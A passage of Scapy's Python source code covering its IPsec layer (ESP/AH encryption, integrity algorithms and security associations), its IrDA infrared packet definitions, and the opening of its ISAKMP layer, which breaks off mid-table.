block_size=1, iv_size=8, icv_size=16, format_mode_iv=_salt_format_mode_iv) # GMAC: rfc 4543, "companion to the AES Galois/Counter Mode ESP" # This is defined as a crypt_algo by rfc, but has the role of an auth_algo CRYPT_ALGOS['AES-NULL-GMAC'] = CryptAlgo('AES-NULL-GMAC', cipher=aead.AESGCM, key_size=(16, 24, 32), mode=None, salt_size=4, block_size=1, iv_size=8, icv_size=16, format_mode_iv=_salt_format_mode_iv) CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM', cipher=aead.AESCCM, mode=None, key_size=(16, 24, 32), block_size=1, iv_size=8, salt_size=3, icv_size=16, format_mode_iv=_salt_format_mode_iv) CRYPT_ALGOS['CHACHA20-POLY1305'] = CryptAlgo('CHACHA20-POLY1305', cipher=aead.ChaCha20Poly1305, mode=None, key_size=32, block_size=1, iv_size=8, salt_size=4, icv_size=16, format_mode_iv=_salt_format_mode_iv) # noqa: E501 # Using a TripleDES cipher algorithm for DES is done by using the same 64 # bits key 3 times CRYPT_ALGOS['DES'] = CryptAlgo('DES', cipher=DES, mode=modes.CBC, key_size=(8,)) CRYPT_ALGOS['3DES'] = CryptAlgo('3DES', cipher=decrepit_algorithms.TripleDES, mode=modes.CBC) if decrepit_algorithms is algorithms: # cryptography < 43 raises a DeprecationWarning from cryptography.utils import CryptographyDeprecationWarning with warnings.catch_warnings(): # Hide deprecation warnings warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', cipher=decrepit_algorithms.CAST5, mode=modes.CBC) CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', cipher=decrepit_algorithms.Blowfish, mode=modes.CBC) else: CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', cipher=decrepit_algorithms.CAST5, mode=modes.CBC) CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', cipher=decrepit_algorithms.Blowfish, mode=modes.CBC) ############################################################################### if conf.crypto_valid: from cryptography.hazmat.primitives.hmac import HMAC from cryptography.hazmat.primitives.cmac import CMAC from cryptography.hazmat.primitives import hashes else: # no error if cryptography is not available but authentication won't be supported # noqa: E501 HMAC = CMAC = hashes = None ############################################################################### class IPSecIntegrityError(Exception): """ Error risen when the integrity check fails. """ pass class AuthAlgo(object): """ IPsec integrity algorithm """ def __init__(self, name, mac, digestmod, icv_size, key_size=None): """ :param name: the name of this integrity algorithm :param mac: a Message Authentication Code module :param digestmod: a Hash or Cipher module :param icv_size: the length of the integrity check value of this algo :param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. """ self.name = name self.mac = mac self.digestmod = digestmod self.icv_size = icv_size self.key_size = key_size def check_key(self, key): """ Check that the key length is valid. :param key: a byte string """ if self.key_size and len(key) not in self.key_size: raise TypeError('invalid key size %s, must be one of %s' % (len(key), self.key_size)) @crypto_validator def new_mac(self, key): """ :param key: a byte string :returns: an initialized mac object for this algo """ if self.mac is CMAC: return self.mac(self.digestmod(key), default_backend()) else: return self.mac(key, self.digestmod(), default_backend()) def sign(self, pkt, key, esn_en=False, esn=0): """ Sign an IPsec (ESP or AH) packet with this algo. :param pkt: a packet that contains a valid encrypted ESP or AH layer :param key: the authentication key, a byte string :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit :param esn: extended sequence number (32 MSB) :returns: the signed packet """ if not self.mac: return pkt mac = self.new_mac(key) if pkt.haslayer(ESP): mac.update(bytes(pkt[ESP])) if esn_en: # RFC4303 sect 2.2.1 mac.update(struct.pack('!L', esn)) pkt[ESP].data += mac.finalize()[:self.icv_size] elif pkt.haslayer(AH): mac.update(bytes(zero_mutable_fields(pkt.copy(), sending=True))) if esn_en: # RFC4302 sect 2.5.1 mac.update(struct.pack('!L', esn)) pkt[AH].icv = mac.finalize()[:self.icv_size] return pkt def verify(self, pkt, key, esn_en=False, esn=0): """ Check that the integrity check value (icv) of a packet is valid. :param pkt: a packet that contains a valid encrypted ESP or AH layer :param key: the authentication key, a byte string :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit :param esn: extended sequence number (32 MSB) :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails """ if not self.mac or self.icv_size == 0: return mac = self.new_mac(key) pkt_icv = 'not found' if isinstance(pkt, ESP): pkt_icv = pkt.data[len(pkt.data) - self.icv_size:] clone = pkt.copy() clone.data = clone.data[:len(clone.data) - self.icv_size] mac.update(bytes(clone)) if esn_en: # RFC4303 sect 2.2.1 mac.update(struct.pack('!L', esn)) elif pkt.haslayer(AH): if len(pkt[AH].icv) != self.icv_size: # Fill padding since we know the actual icv_size pkt[AH].padding = pkt[AH].icv[self.icv_size:] pkt[AH].icv = pkt[AH].icv[:self.icv_size] pkt_icv = pkt[AH].icv clone = zero_mutable_fields(pkt.copy(), sending=False) mac.update(bytes(clone)) if esn_en: # RFC4302 sect 2.5.1 mac.update(struct.pack('!L', esn)) computed_icv = mac.finalize()[:self.icv_size] # XXX: Cannot use mac.verify because the ICV can be truncated if pkt_icv != computed_icv: raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' % (pkt_icv, computed_icv)) ############################################################################### # The names of the integrity algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml AUTH_ALGOS = { 'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0), } if HMAC and hashes: # XXX: NIST has deprecated SHA1 but is required by RFC7321 AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96', mac=HMAC, digestmod=hashes.SHA1, icv_size=12) AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128', mac=HMAC, digestmod=hashes.SHA256, icv_size=16) AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192', mac=HMAC, digestmod=hashes.SHA384, icv_size=24) AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256', mac=HMAC, digestmod=hashes.SHA512, icv_size=32) # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96', mac=HMAC, digestmod=hashes.MD5, icv_size=12) if CMAC and algorithms: AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96', mac=CMAC, digestmod=algorithms.AES, icv_size=12, key_size=(16,)) ############################################################################### def split_for_transport(orig_pkt, transport_proto): """ Split an IP(v6) packet in the correct location to insert an ESP or AH header. :param orig_pkt: the packet to split. Must be an IP or IPv6 packet :param transport_proto: the IPsec protocol number that will be inserted at the split position. :returns: a tuple (header, nh, payload) where nh is the protocol number of payload. """ # force resolution of default fields to avoid padding errors header = orig_pkt.__class__(raw(orig_pkt)) next_hdr = header.payload nh = None if header.version == 4: nh = header.proto header.proto = transport_proto header.remove_payload() del header.chksum del header.len return header, nh, next_hdr else: found_rt_hdr = False prev = header # Since the RFC 4302 is vague about where the ESP/AH headers should be # inserted in IPv6, I chose to follow the linux implementation. while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 if isinstance(next_hdr, IPv6ExtHdrHopByHop): pass if isinstance(next_hdr, IPv6ExtHdrRouting): found_rt_hdr = True elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr: break prev = next_hdr next_hdr = next_hdr.payload nh = prev.nh prev.nh = transport_proto prev.remove_payload() del header.plen return header, nh, next_hdr ############################################################################### # see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers IMMUTABLE_IPV4_OPTIONS = ( 0, # End Of List 1, # No OPeration 2, # Security 5, # Extended Security 6, # Commercial Security 20, # Router Alert 21, # Sender Directed Multi-Destination Delivery ) def zero_mutable_fields(pkt, sending=False): """ When using AH, all "mutable" fields must be "zeroed" before calculating the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields. :param pkt: an IP(v6) packet containing an AH layer. NOTE: The packet will be modified :param sending: if true, ipv6 routing headers will not be reordered """ if pkt.haslayer(AH): pkt[AH].icv = b"\x00" * len(pkt[AH].icv) else: raise TypeError('no AH layer found') if pkt.version == 4: # the tos field has been replaced by DSCP and ECN # Routers may rewrite the DS field as needed to provide a # desired local or end-to-end service pkt.tos = 0 # an intermediate router might set the DF bit, even if the source # did not select it. pkt.flags = 0 # changed en route as a normal course of processing by routers pkt.ttl = 0 # will change if any of these other fields change pkt.chksum = 0 immutable_opts = [] for opt in pkt.options: if opt.option in IMMUTABLE_IPV4_OPTIONS: immutable_opts.append(opt) else: immutable_opts.append(Raw(b"\x00" * len(opt))) pkt.options = immutable_opts else: # holds DSCP and ECN pkt.tc = 0 # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98] # was potentially mutable. To retain compatibility with existing AH # implementations, the flow label is not included in the ICV in AHv2. pkt.fl = 0 # same as ttl pkt.hlim = 0 next_hdr = pkt.payload while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)): for opt in next_hdr.options: if opt.otype & 0x20: # option data can change en-route and must be zeroed opt.optdata = b"\x00" * opt.optlen elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending: # The sender must order the field so that it appears as it # will at the receiver, prior to performing the ICV computation. # noqa: E501 next_hdr.segleft = 0 if next_hdr.addresses: final = next_hdr.addresses.pop() next_hdr.addresses.insert(0, pkt.dst) pkt.dst = final else: break next_hdr = next_hdr.payload return pkt ############################################################################### class SecurityAssociation(object): """ This class is responsible of "encryption" and "decryption" of IPsec packets. # noqa: E501 """ SUPPORTED_PROTOS = (IP, IPv6) def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, crypt_icv_size=None, auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None, esn_en=False, esn=0): """ :param proto: the IPsec proto to use (ESP or AH) :param spi: the Security Parameters Index of this SA :param seq_num: the initial value for the sequence number on encrypted packets :param crypt_algo: the encryption algorithm name (only used with ESP) :param crypt_key: the encryption key (only used with ESP) :param crypt_icv_size: change the default size of the crypt_algo (only used with ESP) :param auth_algo: the integrity algorithm name :param auth_key: the integrity key :param tunnel_header: an instance of a IP(v6) header that will be used to encapsulate the encrypted packets. :param nat_t_header: an instance of a UDP header that will be used for NAT-Traversal. :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) """ if proto not in {ESP, AH, ESP.name, AH.name}: raise ValueError("proto must be either ESP or AH") if isinstance(proto, str): self.proto = {ESP.name: ESP, AH.name: AH}[proto] else: self.proto = proto self.spi = spi self.seq_num = seq_num self.esn_en = esn_en # Get Extended Sequence (32 MSB) self.esn = esn if crypt_algo: if crypt_algo not in CRYPT_ALGOS: raise TypeError('unsupported encryption algo %r, try %r' % (crypt_algo, list(CRYPT_ALGOS))) self.crypt_algo = CRYPT_ALGOS[crypt_algo] if crypt_key: salt_size = self.crypt_algo.salt_size self.crypt_key = crypt_key[:len(crypt_key) - salt_size] self.crypt_salt = crypt_key[len(crypt_key) - salt_size:] else: self.crypt_key = None self.crypt_salt = None else: self.crypt_algo = CRYPT_ALGOS['NULL'] self.crypt_key = None self.crypt_salt = None self.crypt_icv_size = crypt_icv_size if auth_algo: if auth_algo not in AUTH_ALGOS: raise TypeError('unsupported integrity algo %r, try %r' % (auth_algo, list(AUTH_ALGOS))) self.auth_algo = AUTH_ALGOS[auth_algo] self.auth_key = auth_key else: self.auth_algo = AUTH_ALGOS['NULL'] self.auth_key = None if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)): raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name)) # noqa: E501 self.tunnel_header = tunnel_header if nat_t_header: if proto is not ESP: raise TypeError('nat_t_header is only allowed with ESP') if not isinstance(nat_t_header, UDP): raise TypeError('nat_t_header must be %s' % UDP.name) self.nat_t_header = nat_t_header def check_spi(self, pkt): if pkt.spi != self.spi: raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' % (pkt.spi, self.spi)) def _encrypt_esp(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): if iv is None: iv = self.crypt_algo.generate_iv() else: if len(iv) != self.crypt_algo.iv_size: raise TypeError('iv length must be %s' % self.crypt_algo.iv_size) # noqa: E501 esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(raw(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP) esp.data = payload esp.nh = nh esp = self.crypt_algo.pad(esp) esp = self.crypt_algo.encrypt(self, esp, self.crypt_key, self.crypt_icv_size, esn_en=esn_en or self.esn_en, esn=esn or self.esn) self.auth_algo.sign(esp, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) if self.nat_t_header: nat_t_header = self.nat_t_header.copy() nat_t_header.chksum = 0 del nat_t_header.len if ip_header.version == 4: del ip_header.proto else: del ip_header.nh ip_header /= nat_t_header if ip_header.version == 4: del ip_header.len del ip_header.chksum else: del ip_header.plen # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return ip_header.__class__(raw(ip_header / esp)) def _encrypt_ah(self, pkt, seq_num=None, esn_en=False, esn=0): ah = AH(spi=self.spi, seq=seq_num or self.seq_num, icv=b"\x00" * self.auth_algo.icv_size) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(raw(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH) ah.nh = nh if ip_header.version == 6 and len(ah) % 8 != 0: # For IPv6, the total length of the header must be a multiple of # 8-octet units. ah.padding = b"\x00" * (-len(ah) % 8) elif len(ah) % 4 != 0: # For IPv4, the total length of the header must be a multiple of # 4-octet units. ah.padding = b"\x00" * (-len(ah) % 4) # RFC 4302 - Section 2.2. Payload Length # This 8-bit field specifies the length of AH in 32-bit words (4-byte # units), minus "2". ah.payloadlen = len(ah) // 4 - 2 if ip_header.version == 4: ip_header.len = len(ip_header) + len(ah) + len(payload) del ip_header.chksum ip_header = ip_header.__class__(raw(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(ah) + len(payload) signed_pkt = self.auth_algo.sign(ip_header / ah / payload, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return signed_pkt def encrypt(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): """ Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according to this SecurityAssociation. :param pkt: the packet to encrypt :param seq_num: if specified, use this sequence number instead of the generated one :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :param iv: if specified, use this initialization vector for encryption instead of a random one. :returns: the encrypted/encapsulated packet """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot encrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP: return self._encrypt_esp(pkt, seq_num=seq_num, iv=iv, esn_en=esn_en, esn=esn) else: return self._encrypt_ah(pkt, seq_num=seq_num, esn_en=esn_en, esn=esn) def _decrypt_esp(self, pkt, verify=True, esn_en=None, esn=None): encrypted = pkt[ESP] if verify: self.check_spi(pkt) self.auth_algo.verify(encrypted, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) esp = self.crypt_algo.decrypt(self, encrypted, self.crypt_key, self.crypt_icv_size or self.crypt_algo.icv_size or self.auth_algo.icv_size, esn_en=esn_en or self.esn_en, esn=esn or self.esn) if self.tunnel_header: # drop the tunnel header and return the payload untouched pkt.remove_payload() if pkt.version == 4: pkt.proto = esp.nh else: pkt.nh = esp.nh cls = pkt.guess_payload_class(esp.data) return cls(esp.data) else: ip_header = pkt if ip_header.version == 4: ip_header.proto = esp.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(esp.data) # recompute checksum ip_header = ip_header.__class__(raw(ip_header)) else: if self.nat_t_header: # drop the UDP header and return the payload untouched ip_header.nh = esp.nh ip_header.remove_payload() else: encrypted.underlayer.nh = esp.nh encrypted.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(esp.data) cls = ip_header.guess_payload_class(esp.data) # reassemble the ip_header with the ESP payload return ip_header / cls(esp.data) def _decrypt_ah(self, pkt, verify=True, esn_en=None, esn=None): if verify: self.check_spi(pkt) self.auth_algo.verify(pkt, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) ah = pkt[AH] payload = ah.payload payload.remove_underlayer(None) # useless argument... if self.tunnel_header: return payload else: ip_header = pkt if ip_header.version == 4: ip_header.proto = ah.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(payload) # recompute checksum ip_header = ip_header.__class__(raw(ip_header)) else: ah.underlayer.nh = ah.nh ah.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(payload) # reassemble the ip_header with the AH payload return ip_header / payload def decrypt(self, pkt, verify=True, esn_en=None, esn=None): """ Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH. :param pkt: the packet to decrypt :param verify: if False, do not perform the integrity check :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :returns: the decrypted/decapsulated packet :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot decrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP and pkt.haslayer(ESP): return self._decrypt_esp(pkt, verify=verify, esn_en=esn_en, esn=esn) elif self.proto is AH and pkt.haslayer(AH): return self._decrypt_ah(pkt, verify=verify, esn_en=esn_en, esn=esn) else: raise TypeError('%s has no %s layer' % (pkt, self.proto.name)) ================================================ FILE: scapy/layers/ir.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ IrDA infrared data communication. """ from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, ByteEnumField, StrField, XBitField, \ XByteField, XIntField, XShortField from scapy.layers.l2 import CookedLinux # IR class IrLAPHead(Packet): name = "IrDA Link Access Protocol Header" fields_desc = [XBitField("Address", 0x7f, 7), BitEnumField("Type", 1, 1, {"Response": 0, "Command": 1})] class IrLAPCommand(Packet): name = "IrDA Link Access Protocol Command" fields_desc = [XByteField("Control", 0), XByteField("Format_identifier", 0), XIntField("Source_address", 0), XIntField("Destination_address", 0xffffffff), XByteField("Discovery_flags", 0x1), ByteEnumField("Slot_number", 255, {"final": 255}), XByteField("Version", 0)] class IrLMP(Packet): name = "IrDA Link Management Protocol" fields_desc = [XShortField("Service_hints", 0), XByteField("Character_set", 0), StrField("Device_name", "")] bind_layers(CookedLinux, IrLAPHead, proto=23) bind_layers(IrLAPHead, IrLAPCommand, Type=1) bind_layers(IrLAPCommand, IrLMP,) ================================================ FILE: scapy/layers/isakmp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ ISAKMP (Internet Security Association and Key Management Protocol). """ # Mostly based on https://tools.ietf.org/html/rfc2408 import struct from scapy.config import conf from scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers from scapy.compat import chb from scapy.fields import ( ByteEnumField, ByteField, FieldLenField, FieldListField, FlagsField, IPField, IntEnumField, IntField, MultipleTypeField, PacketLenField, ShortEnumField, ShortField, StrLenEnumField, StrLenField, XByteField, XStrFixedLenField, XStrLenField, ) from scapy.layers.inet import IP, UDP from scapy.layers.ipsec import NON_ESP from scapy.sendrecv import sr from scapy.volatile import RandString from scapy.error import warning from functools import reduce # TODO: some ISAKMP payloads are not implemented, # and inherit a default ISAKMP_payload # see https://www.iana.org/assignments/ipsec-registry/ipsec-registry.xhtml#ipsec-registry-2 for details # noqa: E501 ISAKMPAttributeTypes = { "Encryption": (1, {"DES-CBC": 1, "IDEA-CBC": 2, "Blowfish-CBC": 3, "RC5-R16-B64-CBC": 4, "3DES-CBC": 5, "CAST-CBC": 6, "AES-CBC": 7, "CAMELLIA-CBC": 8, }, 0), "Hash": (2, {"MD5": 1, "SHA": 2, "Tiger": 3, "SHA2-256": 4, "SHA2-384": 5, "SHA2-512": 6, }, 0), "Authentication": (3, {"PSK": 1, "DSS": 2, "RSA Sig": 3, "RSA Encryption": 4, "RSA Encryption Revised": 5, "ElGamal Encryption": 6, "ElGamal Encryption Revised": 7, "ECDSA Sig": 8, "HybridInitRSA": 64221, "HybridRespRSA": 64222, "HybridInitDSS": 64223, "HybridRespDSS": 64224, "XAUTHInitPreShared": 65001, "XAUTHRespPreShared": 65002, "XAUTHInitDSS": 65003, "XAUTHRespDSS": 65004, "XAUTHInitRSA": 65005, "XAUTHRespRSA": 65006, "XAUTHInitRSAEncryption": 65007, "XAUTHRespRSAEncryption": 65008, "XAUTHInitRSARevisedEncryption": 65009, # noqa: E501 "XAUTHRespRSARevisedEncryptio": 65010, }, 0), # noqa: E501 "GroupDesc": (4, {"768MODPgr": 1, "1024MODPgr": 2, "EC2Ngr155": 3, "EC2Ngr185": 4, "1536MODPgr": 5, "2048MODPgr": 14, "3072MODPgr": 15, "4096MODPgr": 16, "6144MODPgr": 17, "8192MODPgr": 18, }, 0), "GroupType": (5, {"MODP": 1, "ECP": 2, "EC2N": 3}, 0), "GroupPrime": (6, {}, 1), "GroupGenerator1": (7, {}, 1), "GroupGenerator2": (8, {}, 1), "GroupCurveA": (9, {}, 1), "GroupCurveB": (10, {}, 1), "LifeType": (11, {"Seconds": 1, "Kilobytes": 2}, 0), "LifeDuration": (12, {}, 1), "PRF": (13, {}, 0), "KeyLength": (14, {}, 0), "FieldSize": (15, {}, 0), "GroupOrder": (16, {}, 1), } # see https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-13 for details # noqa: E501 IPSECAttributeTypes = { "LifeType": (1, {"Reserved": 0, "seconds": 1, "kilobytes": 2}, 0), "LifeDuration": (2, {}, 1), "GroupDesc": (3, ISAKMPAttributeTypes["GroupDesc"][1], 0), "EncapsulationMode": (4, {"Reserved": 0, "Tunnel": 1, "Transport": 2, "UDP-Encapsulated-Tunnel": 3, "UDP-Encapsulated-Transport": 4}, 0), "AuthenticationAlgorithm": (5, {"HMAC-MD5": 1, "HMAC-SHA": 2, "DES-MAC": 3, "KPDK": 4, "HMAC-SHA2-256": 5, "HMAC-SHA2-384": 6, "HMAC-SHA2-512": 7, "HMAC-RIPEMD": 8, "AES-XCBC-MAC": 9, "SIG-RSA": 10, "AES-128-GMAC": 11, "AES-192-GMAC": 12, "AES-256-GMAC": 13}, 0), "KeyLength": (6, {}, 0), "KeyRounds": (7, {}, 0), "CompressDictionarySize": (8, {}, 0), "CompressPrivateAlgorithm": (9, {}, 1), } _rev = lambda x: { v[0]: (k, {vv: kk for kk, vv in v[1].items()}, v[2]) for k, v in x.items() } ISAKMPTransformNum = _rev(ISAKMPAttributeTypes) IPSECTransformNum = _rev(IPSECAttributeTypes) # See IPSEC Security Protocol Identifiers entry in # https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-3 PROTO_ISAKMP = 1 PROTO_IPSEC_AH = 2 PROTO_IPSEC_ESP = 3 PROTO_IPCOMP = 4 PROTO_GIGABEAM_RADIO = 5 class ISAKMPTransformSetField(StrLenField): islist = 1 @staticmethod def type2num(type_val_tuple, proto=0): typ, val = type_val_tuple if proto == PROTO_ISAKMP: type_val, enc_dict, tlv = ISAKMPAttributeTypes.get(typ, (typ, {}, 0)) elif proto == PROTO_IPSEC_ESP: type_val, enc_dict, tlv = IPSECAttributeTypes.get(typ, (typ, {}, 0)) else: type_val, enc_dict, tlv = (typ, {}, 0) val = enc_dict.get(val, val) if isinstance(val, str): raise ValueError("Unknown attribute '%s'" % val) s = b"" if (val & ~0xffff): if not tlv: warning("%r should not be TLV but is too big => using TLV encoding" % typ) # noqa: E501 n = 0 while val: s = chb(val & 0xff) + s val >>= 8 n += 1 val = n else: type_val |= 0x8000 return struct.pack("!HH", type_val, val) + s @staticmethod def num2type(typ, enc, proto=0): if proto == PROTO_ISAKMP: val = ISAKMPTransformNum.get(typ, (typ, {})) elif proto == PROTO_IPSEC_ESP: val = IPSECTransformNum.get(typ, (typ, {})) else: val = (typ, {}) enc = val[1].get(enc, enc) return (val[0], enc) def _get_proto(self, pkt): # Ugh cur = pkt while cur and getattr(cur, "proto", None) is None: cur = cur.parent or cur.underlayer if cur is None: return PROTO_ISAKMP return cur.proto def i2m(self, pkt, i): if i is None: return b"" proto = self._get_proto(pkt) i = [ISAKMPTransformSetField.type2num(e, proto=proto) for e in i] return b"".join(i) def m2i(self, pkt, m): # I try to ensure that we don't read off the end of our packet based # on bad length fields we're provided in the packet. There are still # conditions where struct.unpack() may not get enough packet data, but # worst case that should result in broken attributes (which would # be expected). (wam) lst = [] proto = self._get_proto(pkt) while len(m) >= 4: trans_type, = struct.unpack("!H", m[:2]) is_tlv = not (trans_type & 0x8000) if is_tlv: # We should probably check to make sure the attribute type we # are looking at is allowed to have a TLV format and issue a # warning if we're given an TLV on a basic attribute. value_len, = struct.unpack("!H", m[2:4]) if value_len + 4 > len(m): warning("Bad length for ISAKMP transform type=%#6x" % trans_type) # noqa: E501 value = m[4:4 + value_len] value = reduce(lambda x, y: (x << 8) | y, struct.unpack("!%s" % ("B" * len(value),), value), 0) # noqa: E501 else: trans_type &= 0x7fff value_len = 0 value, = struct.unpack("!H", m[2:4]) m = m[4 + value_len:] lst.append(ISAKMPTransformSetField.num2type(trans_type, value, proto=proto)) if len(m) > 0: warning("Extra bytes after ISAKMP transform dissection [%r]" % m) return lst ISAKMP_payload_type = { 0: "None", 1: "SA", 2: "Proposal", 3: "Transform", 4: "KE", 5: "ID", 6: "CERT", 7: "CR", 8: "Hash", 9: "SIG", 10: "Nonce", 11: "Notification", 12: "Delete", 13: "VendorID", } ISAKMP_exchange_type = { 0: "None", 1: "base", 2: "identity protection", 3: "authentication only", 4: "aggressive", 5: "informational", 32: "quick mode", } # https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-3 # IPSEC Security Protocol Identifiers ISAKMP_protos = { 1: "ISAKMP", 2: "IPSEC_AH", 3: "IPSEC_ESP", 4: "IPCOMP", 5: "GIGABEAM_RADIO" } ISAKMP_doi = { 0: "ISAKMP", 1: "IPSEC", } class _ISAKMP_class(Packet): def default_payload_class(self, payload): if self.next_payload == 0: return conf.raw_layer return ISAKMP_payload # -- ISAKMP class ISAKMP(_ISAKMP_class): # rfc2408 name = "ISAKMP" fields_desc = [ XStrFixedLenField("init_cookie", "", 8), XStrFixedLenField("resp_cookie", "", 8), ByteEnumField("next_payload", 0, ISAKMP_payload_type), XByteField("version", 0x10), ByteEnumField("exch_type", 0, ISAKMP_exchange_type), FlagsField("flags", 0, 8, ["encryption", "commit", "auth_only"]), IntField("id", 0), IntField("length", None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return _ISAKMP_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, ISAKMP): if other.init_cookie == self.init_cookie: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24] + struct.pack("!I", len(p)) + p[28:] return p # -- ISAKMP payloads class ISAKMP_payload(_ISAKMP_class): name = "ISAKMP payload" show_indent = 0 fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), ShortField("length", None), XStrLenField("load", "", length_from=lambda x:x.length - 4), ] def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] return pkt + pay class ISAKMP_payload_Transform(ISAKMP_payload): name = "IKE Transform" deprecated_fields = { "num": ("transform_count", ("2.5.0")), "id": ("transform_id", ("2.5.0")), } fields_desc = ISAKMP_payload.fields_desc[:3] + [ ByteField("transform_count", None), ByteEnumField("transform_id", 1, {1: "KEY_IKE"}), ShortField("res2", 0), ISAKMPTransformSetField("transforms", None, length_from=lambda x: x.length - 8) # noqa: E501 # XIntField("enc",0x80010005L), # XIntField("hash",0x80020002L), # XIntField("auth",0x80030001L), # XIntField("group",0x80040002L), # XIntField("life_type",0x800b0001L), # XIntField("durationh",0x000c0004L), # XIntField("durationl",0x00007080L), ] # https://tools.ietf.org/html/rfc2408#section-3.5 class ISAKMP_payload_Proposal(ISAKMP_payload): name = "IKE proposal" fields_desc = ISAKMP_payload.fields_desc[:3] + [ ByteField("proposal", 1), ByteEnumField("proto", 1, ISAKMP_protos), FieldLenField("SPIsize", None, "SPI", "B"), ByteField("trans_nb", None), StrLenField("SPI", "", length_from=lambda x: x.SPIsize), PacketLenField("trans", conf.raw_layer(), ISAKMP_payload_Transform, length_from=lambda x: x.length - 8), # noqa: E501 ] # VendorID: https://www.rfc-editor.org/rfc/rfc2408#section-3.16 # packet-isakmp.c from wireshark ISAKMP_VENDOR_IDS = { b"\x09\x00\x26\x89\xdf\xd6\xb7\x12": "XAUTH", 